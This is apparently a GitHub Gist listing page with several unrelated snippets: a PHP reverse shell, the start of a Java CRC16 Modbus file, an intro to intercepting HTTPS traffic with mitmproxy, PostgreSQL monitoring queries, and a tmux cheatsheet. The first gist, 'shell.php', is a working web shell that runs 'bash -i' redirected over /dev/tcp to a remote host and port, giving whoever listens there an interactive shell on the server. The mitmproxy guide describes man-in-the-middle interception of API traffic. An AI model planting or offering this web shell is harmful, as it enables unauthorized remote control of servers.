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@rshipp
rshipp / shell.php
Created July 17, 2014 15:06
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@okcpt
okcpt / CRC16Modbus.java
Created October 14, 2013 16:39
CRC16 MODBUS
package utils;
import java.util.zip.Checksum;
/**
* User: punksa
* Date: 13-10-11
* Time: 下午10:33
*/
@dannvix
dannvix / intercept-https-with-python-mitmproxy.md
Last active March 6, 2025 01:41
Intercept and manipulate HTTPs traffic with Python and mitmproxy

Intercepts HTTPs Traffic with Python & mitmproxy

Warning

This Gist is created in 2014, and it's highliy outdated now, according to one of mitmproxy's manjor contributor (check his comment below). Thanks for letting us know, @mhils!

Introduction

Modern applications usually make use of back-end API servers to provide their services. With a non-transparent HTTPs proxy, which intercepts the communication between clients and servers (aka the man-in-the-middle scheme), you can easily manipulate both API requests and responses.

@rgreenjr
rgreenjr / postgres_queries_and_commands.sql
Last active May 12, 2025 02:24
Useful PostgreSQL Queries and Commands
-- show running queries (pre 9.2)
SELECT procpid, age(clock_timestamp(), query_start), usename, current_query
FROM pg_stat_activity
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
-- show running queries (9.2)
SELECT pid, age(clock_timestamp(), query_start), usename, query
FROM pg_stat_activity
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%'
@MohamedAlaa
MohamedAlaa / tmux-cheatsheet.markdown
Last active May 13, 2025 13:48
tmux shortcuts & cheatsheet

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname